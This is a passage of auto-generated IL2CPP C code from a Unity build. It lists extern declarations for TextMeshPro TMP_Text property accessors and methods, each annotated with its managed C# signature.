extern void TMP_Text_get_styleSheet_m72E52DC4A12109C1D0C46F2CF89F4A0D439913DC (void);
// 0x000004C2 System.Void TMPro.TMP_Text::set_styleSheet(TMPro.TMP_StyleSheet)
extern void TMP_Text_set_styleSheet_mBADF3BE1110DBC043A75F42AD0C5FB8C245BC1BF (void);
// 0x000004C3 TMPro.TMP_Style TMPro.TMP_Text::get_textStyle()
extern void TMP_Text_get_textStyle_m18773DC7DEFAA035C8D86475294AD3C0DDB52603 (void);
// 0x000004C4 System.Void TMPro.TMP_Text::set_textStyle(TMPro.TMP_Style)
extern void TMP_Text_set_textStyle_mBD9F0E7332606863C32DC78E1BD163E7858D9425 (void);
// 0x000004C5 System.Boolean TMPro.TMP_Text::get_overrideColorTags()
extern void TMP_Text_get_overrideColorTags_mACA2CBC4B1D3033B30322B2366E1AA97AFB81E41 (void);
// 0x000004C6 System.Void TMPro.TMP_Text::set_overrideColorTags(System.Boolean)
extern void TMP_Text_set_overrideColorTags_m9F9D83AA86AA7A310EA41F66A029F11100519CED (void);
// 0x000004C7 UnityEngine.Color32 TMPro.TMP_Text::get_faceColor()
extern void TMP_Text_get_faceColor_mC6A763106D17F58C97965AFD5EE47646C813B4B8 (void);
// 0x000004C8 System.Void TMPro.TMP_Text::set_faceColor(UnityEngine.Color32)
extern void TMP_Text_set_faceColor_m5E9FCC324958ABD25823193117B9BA5304043E51 (void);
// 0x000004C9 UnityEngine.Color32 TMPro.TMP_Text::get_outlineColor()
extern void TMP_Text_get_outlineColor_mA443B0C207A8B6A5E2546A31F46A3106FB0573EF (void);
// 0x000004CA System.Void TMPro.TMP_Text::set_outlineColor(UnityEngine.Color32)
extern void TMP_Text_set_outlineColor_mBEFF42BF9AB15BC7C1DA78489CB4F32A2270F7F0 (void);
// 0x000004CB System.Single TMPro.TMP_Text::get_outlineWidth()
extern void TMP_Text_get_outlineWidth_mC94A3AD32458544743E07AE0A495A86214823C29 (void);
// 0x000004CC System.Void TMPro.TMP_Text::set_outlineWidth(System.Single)
extern void TMP_Text_set_outlineWidth_m33ADF665CB2D3DBD9FB3F70DE62979FD63ADD592 (void);
// 0x000004CD System.Single TMPro.TMP_Text::get_fontSize()
extern void TMP_Text_get_fontSize_m13A8365A56EA2B726EAD826B4A69C8918A528731 (void);
// 0x000004CE System.Void TMPro.TMP_Text::set_fontSize(System.Single)
extern void TMP_Text_set_fontSize_m1C3A3BA2BC88E5E1D89375FD35A0AA91E75D3AAD (void);
// 0x000004CF TMPro.FontWeight TMPro.TMP_Text::get_fontWeight()
extern void TMP_Text_get_fontWeight_m9A7A4ED9ECA3A192B28E24E94D40D5B545D6118E (void);
// 0x000004D0 System.Void TMPro.TMP_Text::set_fontWeight(TMPro.FontWeight)
extern void TMP_Text_set_fontWeight_m4F7016B98AAA89004CFBEBBBE1C4E35B94EF0EE2 (void);
// 0x000004D1 System.Single TMPro.TMP_Text::get_pixelsPerUnit()
extern void TMP_Text_get_pixelsPerUnit_mBCEF0125AEB4F14A5BA5D179C3523FD382E45796 (void);
// 0x000004D2 System.Boolean TMPro.TMP_Text::get_enableAutoSizing()
extern void TMP_Text_get_enableAutoSizing_m0A101957A4E1D156437E454DF813ACE3714F0FE7 (void);
// 0x000004D3 System.Void TMPro.TMP_Text::set_enableAutoSizing(System.Boolean)
extern void TMP_Text_set_enableAutoSizing_mDD34BC7AA735EEBEB916FF5C9791B1502F65FBCA (void);
// 0x000004D4 System.Single TMPro.TMP_Text::get_fontSizeMin()
extern void TMP_Text_get_fontSizeMin_m5F97E2EFFE86CB4BFFFC31E167E1E577134EF05D (void);
// 0x000004D5 System.Void TMPro.TMP_Text::set_fontSizeMin(System.Single)
extern void TMP_Text_set_fontSizeMin_mEAF970BB9CA053DF953AF83E638EA0F1D885358F (void);
// 0x000004D6 System.Single TMPro.TMP_Text::get_fontSizeMax()
extern void TMP_Text_get_fontSizeMax_m8FAB0C39D22B722F6AA6CF15E6C0636715D64BD4 (void);
// 0x000004D7 System.Void TMPro.TMP_Text::set_fontSizeMax(System.Single)
extern void TMP_Text_set_fontSizeMax_mC84B7090F5CE69BA63556A71FD63ABD67C911750 (void);
// 0x000004D8 TMPro.FontStyles TMPro.TMP_Text::get_fontStyle()
extern void TMP_Text_get_fontStyle_mC34CC5EBEDD43CE93BA911CCC4D33F9697838586 (void);
// 0x000004D9 System.Void TMPro.TMP_Text::set_fontStyle(TMPro.FontStyles)
extern void TMP_Text_set_fontStyle_m61931944B2E922D50087312D80F8685A2F29EBF8 (void);
// 0x000004DA System.Boolean TMPro.TMP_Text::get_isUsingBold()
extern void TMP_Text_get_isUsingBold_mA0F9BE071B0F9DB995BC04D1CD409CA5C5AF6CF0 (void);
// 0x000004DB TMPro.HorizontalAlignmentOptions TMPro.TMP_Text::get_horizontalAlignment()
extern void TMP_Text_get_horizontalAlignment_mB33E135CD810BE68FA3E29D57D360575DE18C4CA (void);
// 0x000004DC System.Void TMPro.TMP_Text::set_horizontalAlignment(TMPro.HorizontalAlignmentOptions)
extern void TMP_Text_set_horizontalAlignment_m5621041CDB60BAD5BAB18AE01701ADA2FD2231B2 (void);
// 0x000004DD TMPro.VerticalAlignmentOptions TMPro.TMP_Text::get_verticalAlignment()
extern void TMP_Text_get_verticalAlignment_m83109ED3E925A505F5E9E9142B07829A56CCB54A (void);
// 0x000004DE System.Void TMPro.TMP_Text::set_verticalAlignment(TMPro.VerticalAlignmentOptions)
extern void TMP_Text_set_verticalAlignment_mA79C8E375EEC0B960D517D2D8ED217564ABBFB82 (void);
// 0x000004DF TMPro.TextAlignmentOptions TMPro.TMP_Text::get_alignment()
extern void TMP_Text_get_alignment_m52C559D8E496889812623C56CD8EA056FD92D565 (void);
// 0x000004E0 System.Void TMPro.TMP_Text::set_alignment(TMPro.TextAlignmentOptions)
extern void TMP_Text_set_alignment_mE5216A28797987CC19927ED3CB8DFAC438C6B95A (void);
// 0x000004E1 System.Single TMPro.TMP_Text::get_characterSpacing()
extern void TMP_Text_get_characterSpacing_m48A3B73EFBF47B5227D2BB4816FCFF628254C8FB (void);
// 0x000004E2 System.Void TMPro.TMP_Text::set_characterSpacing(System.Single)
extern void TMP_Text_set_characterSpacing_mDCD34D244A502CA21CEB817E1F4CAC5BC6CCBA63 (void);
// 0x000004E3 System.Single TMPro.TMP_Text::get_wordSpacing()
extern void TMP_Text_get_wordSpacing_mF3DF1445C78E06195904FCF0293E63654C527D33 (void);
// 0x000004E4 System.Void TMPro.TMP_Text::set_wordSpacing(System.Single)
extern void TMP_Text_set_wordSpacing_m319C51E318DBC91F236F3CC65ED24787903F7E1E (void);
// 0x000004E5 System.Single TMPro.TMP_Text::get_lineSpacing()
extern void TMP_Text_get_lineSpacing_m7481D705EAD920B8D143D19A270D44CDABDAA251 (void);
// 0x000004E6 System.Void TMPro.TMP_Text::set_lineSpacing(System.Single)
extern void TMP_Text_set_lineSpacing_m1BA54B315F7472AE0E7B721CA7481016643591A7 (void);
// 0x000004E7 System.Single TMPro.TMP_Text::get_lineSpacingAdjustment()
extern void TMP_Text_get_lineSpacingAdjustment_m3858BA838BBFBA60A0A1DDCB195075C6620CF637 (void);
// 0x000004E8 System.Void TMPro.TMP_Text::set_lineSpacingAdjustment(System.Single)
extern void TMP_Text_set_lineSpacingAdjustment_mAC9A57D852EBAD8DD53ED2F1DE316C0DA52659FB (void);
// 0x000004E9 System.Single TMPro.TMP_Text::get_paragraphSpacing()
extern void TMP_Text_get_paragraphSpacing_mCCBC792CAE59958E92EB04B8E636AA2066534713 (void);
// 0x000004EA System.Void TMPro.TMP_Text::set_paragraphSpacing(System.Single)
extern void TMP_Text_set_paragraphSpacing_m69921E35B44DE397FE604590913CAFB7DBFBAF30 (void);
// 0x000004EB System.Single TMPro.TMP_Text::get_characterWidthAdjustment()
extern void TMP_Text_get_characterWidthAdjustment_mE879BF9A6273376AEE54BE88745ABE7944DBF26A (void);
// 0x000004EC System.Void TMPro.TMP_Text::set_characterWidthAdjustment(System.Single)
extern void TMP_Text_set_characterWidthAdjustment_m11B7CC28C0A7FFC6434DB671C635691B529071BE (void);
// 0x000004ED System.Boolean TMPro.TMP_Text::get_enableWordWrapping()
extern void TMP_Text_get_enableWordWrapping_mF228EF12091EF9FB53E44B6B0278B610E350E551 (void);
// 0x000004EE System.Void TMPro.TMP_Text::set_enableWordWrapping(System.Boolean)
extern void TMP_Text_set_enableWordWrapping_mFAEE849315B4723F9C86C127B1A59EF50BE1C12F (void);
// 0x000004EF System.Single TMPro.TMP_Text::get_wordWrappingRatios()
extern void TMP_Text_get_wordWrappingRatios_m3316BC010D7B02829CE0B86868B01419C81ED072 (void);
// 0x000004F0 System.Void TMPro.TMP_Text::set_wordWrappingRatios(System.Single)
extern void TMP_Text_set_wordWrappingRatios_m83A82AE875C4CD836D5802A1C051AF07CA2A0D85 (void);
// 0x000004F1 TMPro.TextOverflowModes TMPro.TMP_Text::get_overflowMode()
extern void TMP_Text_get_overflowMode_m494E5C01E450AF8F4F344856D289D0FDEB8DDCB4 (void);
// 0x000004F2 System.Void TMPro.TMP_Text::set_overflowMode(TMPro.TextOverflowModes)
extern void TMP_Text_set_overflowMode_mB8911BA07CEE0AC1E4E108B5EB79B230F90E96A1 (void);
// 0x000004F3 System.Boolean TMPro.TMP_Text::get_isTextOverflowing()
extern void TMP_Text_get_isTextOverflowing_mF29482F663A6195FF48628DF3B6F5ACAEF8538D0 (void);
// 0x000004F4 System.Int32 TMPro.TMP_Text::get_firstOverflowCharacterIndex()
extern void TMP_Text_get_firstOverflowCharacterIndex_mB9AEEBC749FBDEA2E73023CBA83FA2BE72D08480 (void);
// 0x000004F5 TMPro.TMP_Text TMPro.TMP_Text::get_linkedTextComponent()
extern void TMP_Text_get_linkedTextComponent_m84DA92BFD208833ED4C1EC4C4F537F5D594EF4F0 (void);
// 0x000004F6 System.Void TMPro.TMP_Text::set_linkedTextComponent(TMPro.TMP_Text)
extern void TMP_Text_set_linkedTextComponent_m08B4CBAD470F918E2D2E19CE96B2443F38B76D93 (void);
// 0x000004F7 System.Boolean TMPro.TMP_Text::get_isTextTruncated()
extern void TMP_Text_get_isTextTruncated_mCB152B5BD9B3FFB994F6B89E2ED89A3602A750F3 (void);
// 0x000004F8 System.Boolean TMPro.TMP_Text::get_enableKerning()
extern void TMP_Text_get_enableKerning_mA8CA8FB9322358B72F0F7C49954AE3C0E618DDDD (void);
// 0x000004F9 System.Void TMPro.TMP_Text::set_enableKerning(System.Boolean)
extern void TMP_Text_set_enableKerning_m681685E06B8789F5F2B7043EBEA561AAE48E82BD (void);
// 0x000004FA System.Boolean TMPro.TMP_Text::get_extraPadding()
extern void TMP_Text_get_extraPadding_m84294178A4E3BFD708FC746DB98CB0A64FBC35AA (void);
// 0x000004FB System.Void TMPro.TMP_Text::set_extraPadding(System.Boolean)
extern void TMP_Text_set_extraPadding_m26595B78EDE43EFBCCBF7D5E23932ADCB983EF32 (void);
// 0x000004FC System.Boolean TMPro.TMP_Text::get_richText()
extern void TMP_Text_get_richText_m630DE7C1ABC507556E716428264A793423ACAB27 (void);
// 0x000004FD System.Void TMPro.TMP_Text::set_richText(System.Boolean)
extern void TMP_Text_set_richText_mAB3D04F620E13F02117B34BBA2EF7BD30AAE6F0F (void);
// 0x000004FE System.Boolean TMPro.TMP_Text::get_parseCtrlCharacters()
extern void TMP_Text_get_parseCtrlCharacters_mB10A3CBD2DEFB7BB15BC6330951DCDAB814D2584 (void);
// 0x000004FF System.Void TMPro.TMP_Text::set_parseCtrlCharacters(System.Boolean)
extern void TMP_Text_set_parseCtrlCharacters_mE733B4A0271EEFA977C39E7F86DDDF73C52D1976 (void);
// 0x00000500 System.Boolean TMPro.TMP_Text::get_isOverlay()
extern void TMP_Text_get_isOverlay_m1A9199A9C2FBB09BEAA0B0B2E3D41CDF8A3B708B (void);
// 0x00000501 System.Void TMPro.TMP_Text::set_isOverlay(System.Boolean)
extern void TMP_Text_set_isOverlay_m0DA2AC113AE402CA25097641AD38D0822C6D5561 (void);
// 0x00000502 System.Boolean TMPro.TMP_Text::get_isOrthographic()
extern void TMP_Text_get_isOrthographic_mBC78A70B2233363411D9D918346DFE19DF3CF72B (void);
// 0x00000503 System.Void TMPro.TMP_Text::set_isOrthographic(System.Boolean)
extern void TMP_Text_set_isOrthographic_mF58B9C6B492D4FD1BA0AB339E4B91F0A1F644C18 (void);
// 0x00000504 System.Boolean TMPro.TMP_Text::get_enableCulling()
extern void TMP_Text_get_enableCulling_m233860FA65153E4C5C3FE3E78B835D4230FC45B0 (void);
// 0x00000505 System.Void TMPro.TMP_Text::set_enableCulling(System.Boolean)
extern void TMP_Text_set_enableCulling_m3CDE2F50BF96E110427D2C1B3505436D87576102 (void);
// 0x00000506 System.Boolean TMPro.TMP_Text::get_ignoreVisibility()
extern void TMP_Text_get_ignoreVisibility_m479580B3550B3652B3E4E889B8E62902633C7477 (void);
// 0x00000507 System.Void TMPro.TMP_Text::set_ignoreVisibility(System.Boolean)
extern void TMP_Text_set_ignoreVisibility_mB06EE9EA50439B339824FDF4B52CAF423AC1209D (void);
// 0x00000508 TMPro.TextureMappingOptions TMPro.TMP_Text::get_horizontalMapping()
extern void TMP_Text_get_horizontalMapping_mDD4C7F3FF8D4619EA539A964636EC841FCFE7873 (void);
// 0x00000509 System.Void TMPro.TMP_Text::set_horizontalMapping(TMPro.TextureMappingOptions)
extern void TMP_Text_set_horizontalMapping_m26A114EFF3D3143214F753521B4DCB2971C19C84 (void);
// 0x0000050A TMPro.TextureMappingOptions TMPro.TMP_Text::get_verticalMapping()
extern void TMP_Text_get_verticalMapping_mCD5A83DF6CAA818E89F483F11B6748538D7E9C35 (void);
// 0x0000050B System.Void TMPro.TMP_Text::set_verticalMapping(TMPro.TextureMappingOptions)
extern void TMP_Text_set_verticalMapping_mBF1DBAC92E4E6BE48F39275FAFF5F8106FABD317 (void);
// 0x0000050C System.Single TMPro.TMP_Text::get_mappingUvLineOffset()
extern void TMP_Text_get_mappingUvLineOffset_m296EF64BABC2BA1A47BD7309B10027E51BB37394 (void);
// 0x0000050D System.Void TMPro.TMP_Text::set_mappingUvLineOffset(System.Single)
extern void TMP_Text_set_mappingUvLineOffset_m963D80134C47160C7896A7C86FFF3C4B3CF51E73 (void);
// 0x0000050E TMPro.TextRenderFlags TMPro.TMP_Text::get_renderMode()
extern void TMP_Text_get_renderMode_mE67A34CDA63B22321E3C511078F9CC42B19EEC8C (void);
// 0x0000050F System.Void TMPro.TMP_Text::set_renderMode(TMPro.TextRenderFlags)
extern void TMP_Text_set_renderMode_m091533DEE7FD20A61249DC52C786ED4FFE5A5C2A (void);
// 0x00000510 TMPro.VertexSortingOrder TMPro.TMP_Text::get_geometrySortingOrder()
extern void TMP_Text_get_geometrySortingOrder_m7A757613E064B108D3598B3953AB846E3B63B756 (void);
// 0x00000511 System.Void TMPro.TMP_Text::set_geometrySortingOrder(TMPro.VertexSortingOrder)
extern void TMP_Text_set_geometrySortingOrder_mFE993584D0FDB12A43F0F1907BD1FFAF240E0D95 (void);
// 0x00000512 System.Boolean TMPro.TMP_Text::get_isTextObjectScaleStatic()
extern void TMP_Text_get_isTextObjectScaleStatic_mBAC6CC2ACE413148E868A14281629B9C72851940 (void);
// 0x00000513 System.Void TMPro.TMP_Text::set_isTextObjectScaleStatic(System.Boolean)
extern void TMP_Text_set_isTextObjectScaleStatic_m8436FC38400ABE08F513770AF9C8CC6743DBE092 (void);
// 0x00000514 System.Boolean TMPro.TMP_Text::get_vertexBufferAutoSizeReduction()
extern void TMP_Text_get_vertexBufferAutoSizeReduction_m304AA345FEF2D0D542E2B1F2CB9AB51464BFDB91 (void);
// 0x00000515 System.Void TMPro.TMP_Text::set_vertexBufferAutoSizeReduction(System.Boolean)
extern void TMP_Text_set_vertexBufferAutoSizeReduction_m188984707109669597440E6F250B124D6FB66270 (void);
// 0x00000516 System.Int32 TMPro.TMP_Text::get_firstVisibleCharacter()
extern void TMP_Text_get_firstVisibleCharacter_mD2CEE9A9803C530DA337B22BD994B9CEBE15AE63 (void);
// 0x00000517 System.Void TMPro.TMP_Text::set_firstVisibleCharacter(System.Int32)
extern void TMP_Text_set_firstVisibleCharacter_m343804C8FF610EB13CCB14E8D54C889BC356AD53 (void);
// 0x00000518 System.Int32 TMPro.TMP_Text::get_maxVisibleCharacters()
extern void TMP_Text_get_maxVisibleCharacters_mF695995258B5013340B8C026B2A0FA643D5FD302 (void);
// 0x00000519 System.Void TMPro.TMP_Text::set_maxVisibleCharacters(System.Int32)
extern void TMP_Text_set_maxVisibleCharacters_mEDD8DCB11D204F3FC10BFAC49BF6E8E09548358A (void);
// 0x0000051A System.Int32 TMPro.TMP_Text::get_maxVisibleWords()
extern void TMP_Text_get_maxVisibleWords_mD9E44CE8FBCB6F7182716E61EB435B61048155B9 (void);
// 0x0000051B System.Void TMPro.TMP_Text::set_maxVisibleWords(System.Int32)
extern void TMP_Text_set_maxVisibleWords_mE2EDC75AA5E4795233F753643202868E4D3226B9 (void);
// 0x0000051C System.Int32 TMPro.TMP_Text::get_maxVisibleLines()
extern void TMP_Text_get_maxVisibleLines_m9E8FB188E50DCF321793C7E75B7F90E2142AC52B (void);
// 0x0000051D System.Void TMPro.TMP_Text::set_maxVisibleLines(System.Int32)
extern void TMP_Text_set_maxVisibleLines_m55D236A0DA8C5A10C793663674FA3A44F61DF861 (void);
// 0x0000051E System.Boolean TMPro.TMP_Text::get_useMaxVisibleDescender()
extern void TMP_Text_get_useMaxVisibleDescender_m3A85730B4F5723C8B7884B89FB70EE0A6888165B (void);
// 0x0000051F System.Void TMPro.TMP_Text::set_useMaxVisibleDescender(System.Boolean)
extern void TMP_Text_set_useMaxVisibleDescender_mBFE9133E5EEF987942919D4FE369CB03A0EBC559 (void);
// 0x00000520 System.Int32 TMPro.TMP_Text::get_pageToDisplay()
extern void TMP_Text_get_pageToDisplay_mAA3CCC7BD6CA9430558F3409E05B6E754D82C730 (void);
// 0x00000521 System.Void TMPro.TMP_Text::set_pageToDisplay(System.Int32)
extern void TMP_Text_set_pageToDisplay_mBD985B613FCEC04266FDA43E916B19DD505D7469 (void);
// 0x00000522 UnityEngine.Vector4 TMPro.TMP_Text::get_margin()
extern void TMP_Text_get_margin_mB8102487C6CFA509555D3A892C899E0A1E86CBCE (void);
// 0x00000523 System.Void TMPro.TMP_Text::set_margin(UnityEngine.Vector4)
extern void TMP_Text_set_margin_mE431DCEED182B2979246E04233F943E8D3B82D5D (void);
// 0x00000524 TMPro.TMP_TextInfo TMPro.TMP_Text::get_textInfo()
extern void TMP_Text_get_textInfo_mA24C606B8EA51436E4AA3B9D6DCDFA7A8995E10E (void);
// 0x00000525 System.Boolean TMPro.TMP_Text::get_havePropertiesChanged()
extern void TMP_Text_get_havePropertiesChanged_m42ECC7D1CA0DF6E59ACF761EB20635E81FCB8EFF (void);
// 0x00000526 System.Void TMPro.TMP_Text::set_havePropertiesChanged(System.Boolean)
extern void TMP_Text_set_havePropertiesChanged_mA38D7BC9E260BF29450738B827F2220A05662B31 (void);
// 0x00000527 System.Boolean TMPro.TMP_Text::get_isUsingLegacyAnimationComponent()
extern void TMP_Text_get_isUsingLegacyAnimationComponent_mC52DDE08FAB3DA14C5BDDAF7533A8465B30CCE7A (void);
// 0x00000528 System.Void TMPro.TMP_Text::set_isUsingLegacyAnimationComponent(System.Boolean)
extern void TMP_Text_set_isUsingLegacyAnimationComponent_mC3A3CB0EBBE9A4AF0106EDC9EDB7DC1D0AD62170 (void);
// 0x00000529 UnityEngine.Transform TMPro.TMP_Text::get_transform()
extern void TMP_Text_get_transform_m6BD41E08BFCFCE722DFCE4627626AD60CA99CCA8 (void);
// 0x0000052A UnityEngine.RectTransform TMPro.TMP_Text::get_rectTransform()
extern void TMP_Text_get_rectTransform_m22DC10116809BEB2C66047A55337A588ED023EBF (void);
// 0x0000052B System.Boolean TMPro.TMP_Text::get_autoSizeTextContainer()
extern void TMP_Text_get_autoSizeTextContainer_mF7DEF97EAB3EEE86558E5A173264DA46068F7E13 (void);
// 0x0000052C System.Void TMPro.TMP_Text::set_autoSizeTextContainer(System.Boolean)
extern void TMP_Text_set_autoSizeTextContainer_m47F5010FC3B3496C58017BC5B21E51FF8BD0D448 (void);
// 0x0000052D UnityEngine.Mesh TMPro.TMP_Text::get_mesh()
extern void TMP_Text_get_mesh_m7B90E1F477480ADB825851B54F898CC39B6DF376 (void);
// 0x0000052E System.Boolean TMPro.TMP_Text::get_isVolumetricText()
extern void TMP_Text_get_isVolumetricText_m176FAF1E14C8054B274E7972EA02D84D3EB4E074 (void);
// 0x0000052F System.Void TMPro.TMP_Text::set_isVolumetricText(System.Boolean)
extern void TMP_Text_set_isVolumetricText_mE827C3B8F33DB163A48F2A314A66D02274372B9B (void);
// 0x00000530 UnityEngine.Bounds TMPro.TMP_Text::get_bounds()
extern void TMP_Text_get_bounds_mAEE407DE6CA2E1D1180868C03A3F0A3B6E455189 (void);
// 0x00000531 UnityEngine.Bounds TMPro.TMP_Text::get_textBounds()
extern void TMP_Text_get_textBounds_m0D3E180B72130830D1C16BC7E5097AF2958E2740 (void);
// 0x00000532 System.Void TMPro.TMP_Text::add_OnFontAssetRequest(System.Func`3<System.Int32,System.String,TMPro.TMP_FontAsset>)
extern void TMP_Text_add_OnFontAssetRequest_m895FFCE1E05A6446A8DB4F94C20D2B2F085EDA76 (void);
// 0x00000533 System.Void TMPro.TMP_Text::remove_OnFontAssetRequest(System.Func`3<System.Int32,System.String,TMPro.TMP_FontAsset>)
extern void TMP_Text_remove_OnFontAssetRequest_mA32916110CEA19B97426542DAF7F02FCC4D4C13F (void);
// 0x00000534 System.Void TMPro.TMP_Text::add_OnSpriteAssetRequest(System.Func`3<System.Int32,System.String,TMPro.TMP_SpriteAsset>)
extern void TMP_Text_add_OnSpriteAssetRequest_m3A9B57B3C4B7FBA7B0756F4F7CFA2F226D3FAB7C (void);
// 0x00000535 System.Void TMPro.TMP_Text::remove_OnSpriteAssetRequest(System.Func`3<System.Int32,System.String,TMPro.TMP_SpriteAsset>)
extern void TMP_Text_remove_OnSpriteAssetRequest_m102CB71D1AE3E2E8152B148A8728F867257055D9 (void);
// 0x00000536 System.Void TMPro.TMP_Text::add_OnPreRenderText(System.Action`1<TMPro.TMP_TextInfo>)
extern void TMP_Text_add_OnPreRenderText_m52F3DEA8A022AFA077BB776BB59734B1C9D5D9CA (void);
// 0x00000537 System.Void TMPro.TMP_Text::remove_OnPreRenderText(System.Action`1<TMPro.TMP_TextInfo>)
extern void TMP_Text_remove_OnPreRenderText_mB46FBE276D13CB41194906F9FF92EDE25D7641BA (void);
// 0x00000538 TMPro.TMP_SpriteAnimator TMPro.TMP_Text::get_spriteAnimator()
extern void TMP_Text_get_spriteAnimator_m3DB8B24C845D9BE3C1E117F39DE45F202D7F9321 (void);
// 0x00000539 System.Single TMPro.TMP_Text::get_flexibleHeight()
extern void TMP_Text_get_flexibleHeight_m810BADBB953332F1112BEDA609F0D2D899E75347 (void);
// 0x0000053A System.Single TMPro.TMP_Text::get_flexibleWidth()
extern void TMP_Text_get_flexibleWidth_mAE1FB54D0F3EB910F566B87871BB7CCE5B3250D7 (void);
// 0x0000053B System.Single TMPro.TMP_Text::get_minWidth()
extern void TMP_Text_get_minWidth_m6FDD2AE333AC038F0ADB47FE30AF428A44160B03 (void);
// 0x0000053C System.Single TMPro.TMP_Text::get_minHeight()
extern void TMP_Text_get_minHeight_m54FCFDDB577882C173B9677008A2B97E92533AC7 (void);
// 0x0000053D System.Single TMPro.TMP_Text::get_maxWidth()
extern void TMP_Text_get_maxWidth_mA2913A569850C5B0186FFC02EBD9B17D7E4123D9 (void);
// 0x0000053E System.Single TMPro.TMP_Text::get_maxHeight()
extern void TMP_Text_get_maxHeight_m5673CE516B95A7268D1DD29CB14F26EB443688C2 (void);
// 0x0000053F UnityEngine.UI.LayoutElement TMPro.TMP_Text::get_layoutElement()
extern void TMP_Text_get_layoutElement_m6D5276FEE925F3E8CA6DD4C554F8BE1A88A5E6E6 (void);
// 0x00000540 System.Single TMPro.TMP_Text::get_preferredWidth()
extern void TMP_Text_get_preferredWidth_mE30D1F5B8573BD0A558054D004A53DE868BD208A (void);
// 0x00000541 System.Single TMPro.TMP_Text::get_preferredHeight()
extern void TMP_Text_get_preferredHeight_m4F28E8FB388AFF1DC052F5F982DB2F959598B004 (void);
// 0x00000542 System.Single TMPro.TMP_Text::get_renderedWidth()
extern void TMP_Text_get_renderedWidth_m61F93CE4B988DBCF6332EE731223AF0F72471146 (void);
// 0x00000543 System.Single TMPro.TMP_Text::get_renderedHeight()
extern void TMP_Text_get_renderedHeight_mD905DB93B2634BB5EE481C1F71D2CAFCEF5C738D (void);
// 0x00000544 System.Int32 TMPro.TMP_Text::get_layoutPriority()
extern void TMP_Text_get_layoutPriority_m6D8DF0CCD8515FFCFA3B74F7946B32072B8EC596 (void);
// 0x00000545 System.Void TMPro.TMP_Text::LoadFontAsset()
extern void TMP_Text_LoadFontAsset_m3E175C3A91E04695300603D04F10E6432C1D870C (void);
// 0x00000546 System.Void TMPro.TMP_Text::SetSharedMaterial(UnityEngine.Material)
extern void TMP_Text_SetSharedMaterial_m2BC9A6E29786D4221CA8086F199B54691DAF0569 (void);
// 0x00000547 UnityEngine.Material TMPro.TMP_Text::GetMaterial(UnityEngine.Material)
extern void TMP_Text_GetMaterial_mF58308E4AA9C3F7448FF976710B9206C066C5406 (void);
// 0x00000548 System.Void TMPro.TMP_Text::SetFontBaseMaterial(UnityEngine.Material)
extern void TMP_Text_SetFontBaseMaterial_m6E38354D0E49FAE5EBD408A22F92236C1D68E33F (void);
// 0x00000549 UnityEngine.Material[] TMPro.TMP_Text::GetSharedMaterials()
extern void TMP_Text_GetSharedMaterials_m5C748AC07C4282734F6D4C553769BFE3B63F21B5 (void);
// 0x0000054A System.Void TMPro.TMP_Text::SetSharedMaterials(UnityEngine.Material[])
extern void TMP_Text_SetSharedMaterials_m3D152FA115539A0362D44135EE48BCAAFB56F2D6 (void);
// 0x0000054B UnityEngine.Material[] TMPro.TMP_Text::GetMaterials(UnityEngine.Material[])
extern void TMP_Text_GetMaterials_mA3F8E1546BE9C5D84DC349A8B1739DB1D16F0679 (void);
// 0x0000054C UnityEngine.Material TMPro.TMP_Text::CreateMaterialInstance(UnityEngine.Material)
extern void TMP_Text_CreateMaterialInstance_m201B4389FB351E5316ACA573F4593EA5F44D1D0A (void);
// 0x0000054D System.Void TMPro.TMP_Text::SetVertexColorGradient(TMPro.TMP_ColorGradient)
extern void TMP_Text_SetVertexColorGradient_m35E9AB171BCC614A2989143F329C96BD3E914151 (void);
// 0x0000054E System.Void TMPro.TMP_Text::SetTextSortingOrder(TMPro.VertexSortingOrder)
extern void TMP_Text_SetTextSortingOrder_m5E42564CFECE090388DE121858E94CC8903F4402 (void);
// 0x0000054F System.Void TMPro.TMP_Text::SetTextSortingOrder(System.Int32[])
extern void TMP_Text_SetTextSortingOrder_m17CA540342EAA44144E32829D672161E6C6F425B (void);
// 0x00000550 System.Void TMPro.TMP_Text::SetFaceColor(UnityEngine.Color32)
extern void TMP_Text_SetFaceColor_m865370BB950DE1BE4111341536AE062C046E5FDC (void);
// 0x00000551 System.Void TMPro.TMP_Text::SetOutlineColor(UnityEngine.Color32)
extern void TMP_Text_SetOutlineColor_m22F952AFBAE8CE4564B02F573BEB9FDC30705555 (void);
// 0x00000552 System.Void TMPro.TMP_Text::SetOutlineThickness(System.Single)
extern void TMP_Text_SetOutlineThickness_m2CBC33AAA504B07B48DFE771986230C772FE605C (void);
// 0x00000553 System.Void TMPro.TMP_Text::SetShaderDepth()
extern void TMP_Text_SetShaderDepth_mB508746026A248495C693EC1039E3A562D8A704E (void);
// 0x00000554 System.Void TMPro.TMP_Text::SetCulling()
extern void TMP_Text_SetCulling_mEC62FDEFC0E222313165637A26D700C29DAE389D (void);
// 0x00000555 System.Void TMPro.TMP_Text::UpdateCulling()
extern void TMP_Text_UpdateCulling_mFB9FD3AF46C9222182056C808198BEDB8810C82F (void);
// 0x00000556 System.Single TMPro.TMP_Text::GetPaddingForMaterial()
extern void TMP_Text_GetPaddingForMaterial_m381ACEBE9696389001F7853D821FECC4E83A2111 (void);
// 0x00000557 System.Single TMPro.TMP_Text::GetPaddingForMaterial(UnityEngine.Material)
extern void TMP_Text_GetPaddingForMaterial_m5FB68F03D16813FCFC20F70ACC50DBAFEB420196 (void);
// 0x00000558 UnityEngine.Vector3[] TMPro.TMP_Text::GetTextContainerLocalCorners()
extern void TMP_Text_GetTextContainerLocalCorners_m588C57396E94A4BD6B1311542E985E6587665845 (void);
// 0x00000559 System.Void TMPro.TMP_Text::ForceMeshUpdate(System.Boolean,System.Boolean)
extern void TMP_Text_ForceMeshUpdate_mFEB0D607572734B168FCD4954BB2F32F9CE0AE7E (void);
// 0x0000055A System.Void TMPro.TMP_Text::UpdateGeometry(UnityEngine.Mesh,System.Int32)
extern void TMP_Text_UpdateGeometry_m2FA2F775454629B5ED0CF4B8E089D48B8B1A31DA (void);
// 0x0000055B System.Void TMPro.TMP_Text::UpdateVertexData(TMPro.TMP_VertexDataUpdateFlags)
extern void TMP_Text_UpdateVertexData_m2E77B6DA477425BFDA2661C6BD71E65E42CA3A98 (void);
// 0x0000055C System.Void TMPro.TMP_Text::UpdateVertexData()
extern void TMP_Text_UpdateVertexData_m79089A6FF3818129609C9ACF34D79232FA4C5493 (void);
// 0x0000055D System.Void TMPro.TMP_Text::SetVertices(UnityEngine.Vector3[])
extern void TMP_Text_SetVertices_mB1F51FB2B5247428AB1A302488BAFDCED686C0C1 (void);
// 0x0000055E System.Void TMPro.TMP_Text::UpdateMeshPadding()
